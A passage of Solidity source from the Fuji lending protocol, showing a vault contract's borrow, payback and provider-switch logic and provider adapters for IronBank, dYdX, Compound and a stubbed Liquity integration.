function borrow(uint256 _borrowAmount) public override nonReentrant {
updateF1155Balances();
uint256 providedCollateral =
IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.collateralID);
// Get Required Collateral with Factors to maintain debt position healthy
uint256 neededCollateral =
getNeededCollateralFor(
_borrowAmount.add(IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID)),
true
);
// Check Provided Collateral is not Zero, and greater than needed to maintain healthy position
require(
_borrowAmount != 0 && providedCollateral > neededCollateral,
Errors.VL_INVALID_BORROW_AMOUNT
);
// Debt Management
IFujiERC1155(fujiERC1155).mint(msg.sender, vAssets.borrowID, _borrowAmount, "");
// Delegate Call Borrow to current provider
_borrow(_borrowAmount, address(activeProvider));
// Transer Assets to User
IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _borrowAmount);
emit Borrow(msg.sender, vAssets.borrowAsset, _borrowAmount);
}
/**
* @dev Paybacks Vault's type underlying to activeProvider
* @param _repayAmount: token amount of underlying to repay, or pass -1 to repay full ammount
* Emits a {Repay} event.
*/
function payback(int256 _repayAmount) public payable override {
// If call from Normal User do typical, otherwise Fliquidator
if (msg.sender != _fujiAdmin.getFliquidator()) {
updateF1155Balances();
uint256 userDebtBalance = IFujiERC1155(fujiERC1155).balanceOf(msg.sender, vAssets.borrowID);
// Check User Debt is greater than Zero and amount is not Zero
require(_repayAmount != 0 && userDebtBalance > 0, Errors.VL_NO_DEBT_TO_PAYBACK);
// TODO: Get => corresponding amount of BaseProtocol Debt and FujiDebt
// If passed argument amount is negative do MAX
uint256 amountToPayback = _repayAmount < 0 ? userDebtBalance : uint256(_repayAmount);
// Check User Allowance
require(
IERC20(vAssets.borrowAsset).allowance(msg.sender, address(this)) >= amountToPayback,
Errors.VL_MISSING_ERC20_ALLOWANCE
);
// Transfer Asset from User to Vault
IERC20(vAssets.borrowAsset).transferFrom(msg.sender, address(this), amountToPayback);
// Delegate Call Payback to current provider
_payback(amountToPayback, address(activeProvider));
//TODO: Transfer corresponding Debt Amount to Fuji Treasury
// Debt Management
IFujiERC1155(fujiERC1155).burn(msg.sender, vAssets.borrowID, amountToPayback);
emit Payback(msg.sender, vAssets.borrowAsset, userDebtBalance);
} else {
// Logic used when called by Fliquidator
_payback(uint256(_repayAmount), address(activeProvider));
}
}
/**
* @dev Changes Vault debt and collateral to newProvider, called by Flasher
* @param _newProvider new provider's address
* @param _flashLoanAmount amount of flashloan underlying to repay Flashloan
* Emits a {Switch} event.
*/
function executeSwitch(
address _newProvider,
uint256 _flashLoanAmount,
uint256 _fee
) external override onlyFlash whenNotPaused {
// Compute Ratio of transfer before payback
uint256 ratio =
_flashLoanAmount.mul(1e18).div(
IProvider(activeProvider).getBorrowBalance(vAssets.borrowAsset)
);
// Payback current provider
_payback(_flashLoanAmount, activeProvider);
// Withdraw collateral proportional ratio from current provider
uint256 collateraltoMove =
IProvider(activeProvider).getDepositBalance(vAssets.collateralAsset).mul(ratio).div(1e18);
_withdraw(collateraltoMove, activeProvider);
// Deposit to the new provider
_deposit(collateraltoMove, _newProvider);
// Borrow from the new provider, borrowBalance + premium
_borrow(_flashLoanAmount.add(_fee), _newProvider);
// return borrowed amount to Flasher
IERC20(vAssets.borrowAsset).uniTransfer(msg.sender, _flashLoanAmount.add(_fee));
emit Switch(address(this), activeProvider, _newProvider, _flashLoanAmount, collateraltoMove);
}
//Setter, change state functions
/**
* @dev Sets a new active provider for the Vault
* @param _provider: fuji address of the new provider
* Emits a {SetActiveProvider} event.
*/
function setActiveProvider(address _provider) external override isAuthorized {
activeProvider = _provider;
emit SetActiveProvider(_provider);
}
//Administrative functions
/**
* @dev Sets the fujiAdmin Address
* @param _newFujiAdmin: FujiAdmin Contract Address
*/
function setFujiAdmin(address _newFujiAdmin) external onlyOwner {
_fujiAdmin = IFujiAdmin(_newFujiAdmin);
}
/**
* @dev Sets a fujiERC1155 Collateral and Debt Asset manager for this vault and initializes it.
* @param _fujiERC1155: fuji ERC1155 address
*/
function setFujiERC1155(address _fujiERC1155) external isAuthorized {
fujiERC1155 = _fujiERC1155;
vAssets.collateralID = IFujiERC1155(_fujiERC1155).addInitializeAsset(
IFujiERC1155.AssetType.collateralToken,
address(this)
);
vAssets.borrowID = IFujiERC1155(_fujiERC1155).addInitializeAsset(
IFujiERC1155.AssetType.debtToken,
address(this)
);
}
/**
* @dev Set Factors "a" and "b" for a Struct Factor
* For safetyF; Sets Safety Factor of Vault, should be > 1, a/b
* For collatF; Sets Collateral Factor of Vault, should be > 1, a/b
* @param _newFactorA: Nominator
* @param _newFactorB: Denominator
* @param _isSafety: safetyF or collatF
*/
function setFactor(
uint64 _newFactorA,
uint64 _newFactorB,
bool _isSafety
) external isAuthorized {
if (_isSafety) {
safetyF.a = _newFactorA;
safetyF.b = _newFactorB;
} else {
collatF.a = _newFactorA;
collatF.b = _newFactorB;
}
}
/**
* @dev Sets the Oracle address (Must Comply with AggregatorV3Interface)
* @param _oracle: new Oracle address
*/
function setOracle(address _oracle) external isAuthorized {
oracle = AggregatorV3Interface(_oracle);
}
/**
* @dev Set providers to the Vault
* @param _providers: new providers' addresses
*/
function setProviders(address[] calldata _providers) external isAuthorized {
providers = _providers;
}
/**
* @dev External Function to call updateState in F1155
*/
function updateF1155Balances() public override {
uint256 borrowBals;
uint256 depositBals;
// take into balances across all providers
uint256 length = providers.length;
for (uint256 i = 0; i < length; i++) {
borrowBals = borrowBals.add(IProvider(providers[i]).getBorrowBalance(vAssets.borrowAsset));
}
for (uint256 i = 0; i < length; i++) {
depositBals = depositBals.add(
IProvider(providers[i]).getDepositBalance(vAssets.collateralAsset)
);
}
IFujiERC1155(fujiERC1155).updateState(vAssets.borrowID, borrowBals);
IFujiERC1155(fujiERC1155).updateState(vAssets.collateralID, depositBals);
}
//Getter Functions
/**
* @dev Returns an array of the Vault's providers
*/
function getProviders() external view override returns (address[] memory) {
return providers;
}
/**
* @dev Returns an amount to be paid as bonus for liquidation
* @param _amount: Vault underlying type intended to be liquidated
* @param _flash: Flash or classic type of liquidation, bonus differs
*/
function getLiquidationBonusFor(uint256 _amount, bool _flash)
external
view
override
returns (uint256)
{
if (_flash) {
// Bonus Factors for Flash Liquidation
(uint64 a, uint64 b) = _fujiAdmin.getBonusFlashL();
return _amount.mul(a).div(b);
} else {
//Bonus Factors for Normal Liquidation
(uint64 a, uint64 b) = _fujiAdmin.getBonusLiq();
return _amount.mul(a).div(b);
}
}
/**
* @dev Returns the amount of collateral needed, including or not safety factors
* @param _amount: Vault underlying type intended to be borrowed
* @param _withFactors: Inidicate if computation should include safety_Factors
*/
function getNeededCollateralFor(uint256 _amount, bool _withFactors)
public
view
override
returns (uint256)
{
// Get price of DAI in ETH
(, int256 latestPrice, , , ) = oracle.latestRoundData();
uint256 minimumReq = (_amount.mul(uint256(latestPrice))).div(_BASE);
if (_withFactors) {
return minimumReq.mul(collatF.a).mul(safetyF.a).div(collatF.b).div(safetyF.b);
} else {
return minimumReq;
}
}
/**
* @dev Returns the borrow balance of the Vault's underlying at a particular provider
* @param _provider: address of a provider
*/
function borrowBalance(address _provider) external view override returns (uint256) {
return IProvider(_provider).getBorrowBalance(vAssets.borrowAsset);
}
/**
* @dev Returns the deposit balance of the Vault's type collateral at a particular provider
* @param _provider: address of a provider
*/
function depositBalance(address _provider) external view override returns (uint256) {
return IProvider(_provider).getDepositBalance(vAssets.collateralAsset);
}
/**
* @dev Harvests the Rewards from baseLayer Protocols
* @param _farmProtocolNum: number per VaultHarvester Contract for specific farm
*/
function harvestRewards(uint256 _farmProtocolNum) external onlyOwner {
address tokenReturned =
IVaultHarvester(_fujiAdmin.getVaultHarvester()).collectRewards(_farmProtocolNum);
uint256 tokenBal = IERC20(tokenReturned).balanceOf(address(this));
require(tokenReturned != address(0) && tokenBal > 0, Errors.VL_HARVESTING_FAILED);
IERC20(tokenReturned).uniTransfer(payable(_fujiAdmin.getTreasury()), tokenBal);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.8.0;
pragma experimental ABIEncoderV2;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { UniERC20 } from "../Libraries/LibUniERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IProvider } from "./IProvider.sol";
interface LQTYInterface {}
contract LQTYHelpers {
function _initializeTrouve() internal {
//TODO function
}
}
contract ProviderLQTY is IProvider, LQTYHelpers {
using SafeMath for uint256;
using UniERC20 for IERC20;
function deposit(address collateralAsset, uint256 collateralAmount) external payable override {
collateralAsset;
collateralAmount;
//TODO
}
function borrow(address borrowAsset, uint256 borrowAmount) external payable override {
borrowAsset;
borrowAmount;
//TODO
}
function withdraw(address collateralAsset, uint256 collateralAmount) external payable override {
collateralAsset;
collateralAmount;
//TODO
}
function payback(address borrowAsset, uint256 borrowAmount) external payable override {
borrowAsset;
borrowAmount;
//TODO
}
function getBorrowRateFor(address asset) external view override returns (uint256) {
asset;
//TODO
return 0;
}
function getBorrowBalance(address _asset) external view override returns (uint256) {
_asset;
//TODO
return 0;
}
function getBorrowBalanceOf(address _asset, address _who) external override returns (uint256) {
_asset;
_who;
//TODO
return 0;
}
function getDepositBalance(address _asset) external view override returns (uint256) {
_asset;
//TODO
return 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.5;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { UniERC20 } from "../Libraries/LibUniERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IProvider } from "./IProvider.sol";
interface IGenCyToken is IERC20 {
function redeem(uint256) external returns (uint256);
function redeemUnderlying(uint256) external returns (uint256);
function borrow(uint256 borrowAmount) external returns (uint256);
function exchangeRateCurrent() external returns (uint256);
function exchangeRateStored() external view returns (uint256);
function borrowRatePerBlock() external view returns (uint256);
function balanceOfUnderlying(address owner) external returns (uint256);
function getAccountSnapshot(address account)
external
view
returns (
uint256,
uint256,
uint256,
uint256
);
function totalBorrowsCurrent() external returns (uint256);
function borrowBalanceCurrent(address account) external returns (uint256);
function borrowBalanceStored(address account) external view returns (uint256);
function getCash() external view returns (uint256);
}
interface IWeth is IERC20 {
function deposit() external payable;
function withdraw(uint256 wad) external;
}
interface ICyErc20 is IGenCyToken {
function mint(uint256) external returns (uint256);
function repayBorrow(uint256 repayAmount) external returns (uint256);
function repayBorrowBehalf(address borrower, uint256 repayAmount) external returns (uint256);
}
interface IComptroller {
function markets(address) external returns (bool, uint256);
function enterMarkets(address[] calldata) external returns (uint256[] memory);
function exitMarket(address cyTokenAddress) external returns (uint256);
function getAccountLiquidity(address)
external
view
returns (
uint256,
uint256,
uint256
);
}
interface IFujiMappings {
function addressMapping(address) external view returns (address);
}
contract HelperFunct {
function _isETH(address token) internal pure returns (bool) {
return (token == address(0) || token == address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE));
}
function _getMappingAddr() internal pure returns (address) {
return 0x17525aFdb24D24ABfF18108E7319b93012f3AD24;
}
function _getComptrollerAddress() internal pure returns (address) {
return 0xAB1c342C7bf5Ec5F02ADEA1c2270670bCa144CbB;
}
//IronBank functions
/**
* @dev Approves vault's assets as collateral for IronBank Protocol.
* @param _cyTokenAddress: asset type to be approved as collateral.
*/
function _enterCollatMarket(address _cyTokenAddress) internal {
// Create a reference to the corresponding network Comptroller
IComptroller comptroller = IComptroller(_getComptrollerAddress());
address[] memory cyTokenMarkets = new address[](1);
cyTokenMarkets[0] = _cyTokenAddress;
comptroller.enterMarkets(cyTokenMarkets);
}
/**
* @dev Removes vault's assets as collateral for IronBank Protocol.
* @param _cyTokenAddress: asset type to be removed as collateral.
*/
function _exitCollatMarket(address _cyTokenAddress) internal {
// Create a reference to the corresponding network Comptroller
IComptroller comptroller = IComptroller(_getComptrollerAddress());
comptroller.exitMarket(_cyTokenAddress);
}
}
contract ProviderIronBank is IProvider, HelperFunct {
using SafeMath for uint256;
using UniERC20 for IERC20;
//Provider Core Functions
/**
* @dev Deposit ETH/ERC20_Token.
* @param _asset: token address to deposit. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to deposit.
*/
function deposit(address _asset, uint256 _amount) external payable override {
//Get cyToken address from mapping
address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
//Enter and/or ensure collateral market is enacted
_enterCollatMarket(cyTokenAddr);
if (_isETH(_asset)) {
// Transform ETH to WETH
IWeth(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2).deposit{ value: _amount }();
_asset = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
}
// Create reference to the ERC20 contract
IERC20 erc20token = IERC20(_asset);
// Create a reference to the cyToken contract
ICyErc20 cyToken = ICyErc20(cyTokenAddr);
//Checks, Vault balance of ERC20 to make deposit
require(erc20token.balanceOf(address(this)) >= _amount, "Not enough Balance");
//Approve to move ERC20tokens
erc20token.uniApprove(address(cyTokenAddr), _amount);
// IronBank Protocol mints cyTokens, trhow error if not
require(cyToken.mint(_amount) == 0, "Deposit-failed");
}
/**
* @dev Withdraw ETH/ERC20_Token.
* @param _asset: token address to withdraw. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to withdraw.
*/
function withdraw(address _asset, uint256 _amount) external payable override {
//Get cyToken address from mapping
address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
// Create a reference to the corresponding cyToken contract
IGenCyToken cyToken = IGenCyToken(cyTokenAddr);
//IronBank Protocol Redeem Process, throw errow if not.
require(cyToken.redeemUnderlying(_amount) == 0, "Withdraw-failed");
if (_isETH(_asset)) {
// Transform ETH to WETH
IWeth(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2).withdraw(_amount);
}
}
/**
* @dev Borrow ETH/ERC20_Token.
* @param _asset token address to borrow.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to borrow.
*/
function borrow(address _asset, uint256 _amount) external payable override {
//Get cyToken address from mapping
address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
// Create a reference to the corresponding cyToken contract
IGenCyToken cyToken = IGenCyToken(cyTokenAddr);
//Enter and/or ensure collateral market is enacted
//_enterCollatMarket(cyTokenAddr);
//IronBank Protocol Borrow Process, throw errow if not.
require(cyToken.borrow(_amount) == 0, "borrow-failed");
}
/**
* @dev Payback borrowed ETH/ERC20_Token.
* @param _asset token address to payback.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to payback.
*/
function payback(address _asset, uint256 _amount) external payable override {
//Get cyToken address from mapping
address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
if (_isETH(_asset)) {
// Transform ETH to WETH
IWeth(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2).deposit{ value: _amount }();
_asset = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
}
// Create reference to the ERC20 contract
IERC20 erc20token = IERC20(_asset);
// Create a reference to the corresponding cyToken contract
ICyErc20 cyToken = ICyErc20(cyTokenAddr);
// Check there is enough balance to pay
require(erc20token.balanceOf(address(this)) >= _amount, "Not-enough-token");
erc20token.uniApprove(address(cyTokenAddr), _amount);
cyToken.repayBorrow(_amount);
}
/**
* @dev Returns the current borrowing rate (APR) of a ETH/ERC20_Token, in ray(1e27).
* @param _asset: token address to query the current borrowing rate.
*/
function getBorrowRateFor(address _asset) external view override returns (uint256) {
address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
//Block Rate transformed for common mantissa for Fuji in ray (1e27), Note: IronBank uses base 1e18
uint256 bRateperBlock = (IGenCyToken(cyTokenAddr).borrowRatePerBlock()).mul(10**9);
// The approximate number of blocks per year that is assumed by the IronBank interest rate model
uint256 blocksperYear = 2102400;
return bRateperBlock.mul(blocksperYear);
}
/**
* @dev Returns the borrow balance of a ETH/ERC20_Token.
* @param _asset: token address to query the balance.
*/
function getBorrowBalance(address _asset) external view override returns (uint256) {
address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
return IGenCyToken(cyTokenAddr).borrowBalanceStored(msg.sender);
}
/**
* @dev Return borrow balance of ETH/ERC20_Token.
* This function is the accurate way to get IronBank borrow balance.
* It costs ~84K gas and is not a view function.
* @param _asset token address to query the balance.
* @param _who address of the account.
*/
function getBorrowBalanceOf(address _asset, address _who) external override returns (uint256) {
address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
return IGenCyToken(cyTokenAddr).borrowBalanceCurrent(_who);
}
/**
* @dev Returns the deposit balance of a ETH/ERC20_Token.
* @param _asset: token address to query the balance.
*/
function getDepositBalance(address _asset) external view override returns (uint256) {
address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
uint256 cyTokenBal = IGenCyToken(cyTokenAddr).balanceOf(msg.sender);
uint256 exRate = IGenCyToken(cyTokenAddr).exchangeRateStored();
return exRate.mul(cyTokenBal).div(1e18);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.5;
pragma experimental ABIEncoderV2;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { UniERC20 } from "../Libraries/LibUniERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IProvider } from "./IProvider.sol";
interface IWethERC20 is IERC20 {
function deposit() external payable;
function withdraw(uint256) external;
}
interface SoloMarginContract {
struct Info {
address owner;
uint256 number;
}
struct Price {
uint256 value;
}
struct Value {
uint256 value;
}
struct Rate {
uint256 value;
}
enum ActionType { Deposit, Withdraw, Transfer, Buy, Sell, Trade, Liquidate, Vaporize, Call }
enum AssetDenomination { Wei, Par }
enum AssetReference { Delta, Target }
struct AssetAmount {
bool sign;
AssetDenomination denomination;
AssetReference ref;
uint256 value;
}
struct ActionArgs {
ActionType actionType;
uint256 accountId;
AssetAmount amount;
uint256 primaryMarketId;
uint256 secondaryMarketId;
address otherAddress;
uint256 otherAccountId;
bytes data;
}
struct Wei {
bool sign;
uint256 value;
}
function operate(Info[] calldata _accounts, ActionArgs[] calldata _actions) external;
function getAccountWei(Info calldata _account, uint256 _marketId)
external
view
returns (Wei memory);
function getNumMarkets() external view returns (uint256);
function getMarketTokenAddress(uint256 _marketId) external view returns (address);
function getAccountValues(Info memory _account)
external
view
returns (Value memory, Value memory);
function getMarketInterestRate(uint256 _marketId) external view returns (Rate memory);
}
contract HelperFunct {
/**
* @dev get Dydx Solo Address
*/
function getDydxAddress() public pure returns (address addr) {
addr = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e;
}
/**
* @dev get WETH address
*/
function getWETHAddr() public pure returns (address weth) {
weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
}
/**
* @dev Return ethereum address
*/
function _getEthAddr() internal pure returns (address) {
return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // ETH Address
}
/**
* @dev Get Dydx Market ID from token Address
*/
function _getMarketId(SoloMarginContract _solo, address _token)
internal
view
returns (uint256 _marketId)
{
uint256 markets = _solo.getNumMarkets();
address token = _token == _getEthAddr() ? getWETHAddr() : _token;
bool check = false;
for (uint256 i = 0; i < markets; i++) {
if (token == _solo.getMarketTokenAddress(i)) {
_marketId = i;
check = true;
break;
}
}
require(check, "DYDX Market doesnt exist!");
}
/**
* @dev Get Dydx Acccount arg
*/
function _getAccountArgs() internal view returns (SoloMarginContract.Info[] memory) {
SoloMarginContract.Info[] memory accounts = new SoloMarginContract.Info[](1);
accounts[0] = (SoloMarginContract.Info(address(this), 0));
return accounts;
}
/**
* @dev Get Dydx Actions args.
*/
function _getActionsArgs(
uint256 _marketId,
uint256 _amt,
bool _sign
) internal view returns (SoloMarginContract.ActionArgs[] memory) {
SoloMarginContract.ActionArgs[] memory actions = new SoloMarginContract.ActionArgs[](1);
SoloMarginContract.AssetAmount memory amount =
SoloMarginContract.AssetAmount(
_sign,
SoloMarginContract.AssetDenomination.Wei,
SoloMarginContract.AssetReference.Delta,
_amt
);
bytes memory empty;
SoloMarginContract.ActionType action =
_sign ? SoloMarginContract.ActionType.Deposit : SoloMarginContract.ActionType.Withdraw;
actions[0] = SoloMarginContract.ActionArgs(
action,
0,
amount,
_marketId,
0,
address(this),
0,
empty
);
return actions;
}
}
contract ProviderDYDX is IProvider, HelperFunct {
using SafeMath for uint256;
using UniERC20 for IERC20;
bool public donothing = true;
//Provider Core Functions
/**
* @dev Deposit ETH/ERC20_Token.
* @param _asset: token address to deposit. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to deposit.
*/
function deposit(address _asset, uint256 _amount) external payable override {
SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress());
uint256 marketId = _getMarketId(dydxContract, _asset);
if (_asset == _getEthAddr()) {
IWethERC20 tweth = IWethERC20(getWETHAddr());
tweth.deposit{ value: _amount }();
tweth.approve(getDydxAddress(), _amount);
} else {
IWethERC20 tweth = IWethERC20(_asset);
tweth.approve(getDydxAddress(), _amount);
}
dydxContract.operate(_getAccountArgs(), _getActionsArgs(marketId, _amount, true));
}
/**
* @dev Withdraw ETH/ERC20_Token.
* @param _asset: token address to withdraw. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to withdraw.
*/
function withdraw(address _asset, uint256 _amount) external payable override {
SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress());
uint256 marketId = _getMarketId(dydxContract, _asset);
dydxContract.operate(_getAccountArgs(), _getActionsArgs(marketId, _amount, false));
if (_asset == _getEthAddr()) {
IWethERC20 tweth = IWethERC20(getWETHAddr());
tweth.approve(address(tweth), _amount);
tweth.withdraw(_amount);
}
}
/**
* @dev Borrow ETH/ERC20_Token.
* @param _asset token address to borrow.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to borrow.
*/
function borrow(address _asset, uint256 _amount) external payable override {
SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress());
uint256 marketId = _getMarketId(dydxContract, _asset);
dydxContract.operate(_getAccountArgs(), _getActionsArgs(marketId, _amount, false));
if (_asset == _getEthAddr()) {
IWethERC20 tweth = IWethERC20(getWETHAddr());
tweth.approve(address(_asset), _amount);
tweth.withdraw(_amount);
}
}
/**
* @dev Payback borrowed ETH/ERC20_Token.
* @param _asset token address to payback.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to payback.
*/
function payback(address _asset, uint256 _amount) external payable override {
SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress());
uint256 marketId = _getMarketId(dydxContract, _asset);
if (_asset == _getEthAddr()) {
IWethERC20 tweth = IWethERC20(getWETHAddr());
tweth.deposit{ value: _amount }();
tweth.approve(getDydxAddress(), _amount);
} else {
IWethERC20 tweth = IWethERC20(_asset);
tweth.approve(getDydxAddress(), _amount);
}
dydxContract.operate(_getAccountArgs(), _getActionsArgs(marketId, _amount, true));
}
/**
* @dev Returns the current borrowing rate (APR) of a ETH/ERC20_Token, in ray(1e27).
* @param _asset: token address to query the current borrowing rate.
*/
function getBorrowRateFor(address _asset) external view override returns (uint256) {
SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress());
uint256 marketId = _getMarketId(dydxContract, _asset);
SoloMarginContract.Rate memory _rate = dydxContract.getMarketInterestRate(marketId);
return (_rate.value).mul(1e9).mul(365 days);
}
/**
* @dev Returns the borrow balance of a ETH/ERC20_Token.
* @param _asset: token address to query the balance.
*/
function getBorrowBalance(address _asset) external view override returns (uint256) {
SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress());
uint256 marketId = _getMarketId(dydxContract, _asset);
SoloMarginContract.Info memory account =
SoloMarginContract.Info({ owner: msg.sender, number: 0 });
SoloMarginContract.Wei memory structbalance = dydxContract.getAccountWei(account, marketId);
return structbalance.value;
}
/**
* @dev Returns the borrow balance of a ETH/ERC20_Token.
* @param _asset: token address to query the balance.
* @param _who: address of the account.
*/
function getBorrowBalanceOf(address _asset, address _who) external override returns (uint256) {
SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress());
uint256 marketId = _getMarketId(dydxContract, _asset);
SoloMarginContract.Info memory account = SoloMarginContract.Info({ owner: _who, number: 0 });
SoloMarginContract.Wei memory structbalance = dydxContract.getAccountWei(account, marketId);
return structbalance.value;
}
/**
* @dev Returns the borrow balance of a ETH/ERC20_Token.
* @param _asset: token address to query the balance.
*/
function getDepositBalance(address _asset) external view override returns (uint256) {
SoloMarginContract dydxContract = SoloMarginContract(getDydxAddress());
uint256 marketId = _getMarketId(dydxContract, _asset);
SoloMarginContract.Info memory account =
SoloMarginContract.Info({ owner: msg.sender, number: 0 });
SoloMarginContract.Wei memory structbalance = dydxContract.getAccountWei(account, marketId);
return structbalance.value;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.5;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { UniERC20 } from "../Libraries/LibUniERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IProvider } from "./IProvider.sol";
interface IGenCToken is IERC20 {
function redeem(uint256) external returns (uint256);
function redeemUnderlying(uint256) external returns (uint256);
function borrow(uint256 borrowAmount) external returns (uint256);
function exchangeRateCurrent() external returns (uint256);
function exchangeRateStored() external view returns (uint256);
function borrowRatePerBlock() external view returns (uint256);
function balanceOfUnderlying(address owner) external returns (uint256);
function getAccountSnapshot(address account)
external
view
returns (
uint256,
uint256,
uint256,
uint256
);
function totalBorrowsCurrent() external returns (uint256);
function borrowBalanceCurrent(address account) external returns (uint256);
function borrowBalanceStored(address account) external view returns (uint256);
function getCash() external view returns (uint256);
}
interface ICErc20 is IGenCToken {
function mint(uint256) external returns (uint256);
function repayBorrow(uint256 repayAmount) external returns (uint256);
function repayBorrowBehalf(address borrower, uint256 repayAmount) external returns (uint256);
}
interface ICEth is IGenCToken {
function mint() external payable;
function repayBorrow() external payable;
function repayBorrowBehalf(address borrower) external payable;
}
interface IComptroller {
function markets(address) external returns (bool, uint256);
function enterMarkets(address[] calldata) external returns (uint256[] memory);
function exitMarket(address cTokenAddress) external returns (uint256);
function getAccountLiquidity(address)
external
view
returns (
uint256,
uint256,
uint256
);
}
interface IFujiMappings {
function addressMapping(address) external view returns (address);
}
contract HelperFunct {
function _isETH(address token) internal pure returns (bool) {
return (token == address(0) || token == address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE));
}
function _getMappingAddr() internal pure returns (address) {
return 0x6b09443595BFb8F91eA837c7CB4Fe1255782093b;
}
function _getComptrollerAddress() internal pure returns (address) {
return 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B;
}
//Compound functions
/**
* @dev Approves vault's assets as collateral for Compound Protocol.
* @param _cTokenAddress: asset type to be approved as collateral.
*/
function _enterCollatMarket(address _cTokenAddress) internal {
// Create a reference to the corresponding network Comptroller
IComptroller comptroller = IComptroller(_getComptrollerAddress());
address[] memory cTokenMarkets = new address[](1);
cTokenMarkets[0] = _cTokenAddress;
comptroller.enterMarkets(cTokenMarkets);
}
/**
* @dev Removes vault's assets as collateral for Compound Protocol.
* @param _cTokenAddress: asset type to be removed as collateral.
*/
function _exitCollatMarket(address _cTokenAddress) internal {
// Create a reference to the corresponding network Comptroller
IComptroller comptroller = IComptroller(_getComptrollerAddress());
comptroller.exitMarket(_cTokenAddress);
}
}
contract ProviderCompound is IProvider, HelperFunct {
using SafeMath for uint256;
using UniERC20 for IERC20;
//Provider Core Functions
/**
* @dev Deposit ETH/ERC20_Token.
* @param _asset: token address to deposit. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to deposit.
*/
function deposit(address _asset, uint256 _amount) external payable override {
//Get cToken address from mapping
address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
//Enter and/or ensure collateral market is enacted
_enterCollatMarket(cTokenAddr);
if (_isETH(_asset)) {
// Create a reference to the cToken contract
ICEth cToken = ICEth(cTokenAddr);
//Compound protocol Mints cTokens, ETH method
cToken.mint{ value: _amount }();
} else {
// Create reference to the ERC20 contract
IERC20 erc20token = IERC20(_asset);
// Create a reference to the cToken contract
ICErc20 cToken = ICErc20(cTokenAddr);
//Checks, Vault balance of ERC20 to make deposit
require(erc20token.balanceOf(address(this)) >= _amount, "Not enough Balance");
//Approve to move ERC20tokens
erc20token.uniApprove(address(cTokenAddr), _amount);
// Compound Protocol mints cTokens, trhow error if not
require(cToken.mint(_amount) == 0, "Deposit-failed");
}
}
/**
* @dev Withdraw ETH/ERC20_Token.
* @param _asset: token address to withdraw. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to withdraw.
*/
function withdraw(address _asset, uint256 _amount) external payable override {
//Get cToken address from mapping
address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
// Create a reference to the corresponding cToken contract
IGenCToken cToken = IGenCToken(cTokenAddr);
//Compound Protocol Redeem Process, throw errow if not.
require(cToken.redeemUnderlying(_amount) == 0, "Withdraw-failed");
}
/**
* @dev Borrow ETH/ERC20_Token.
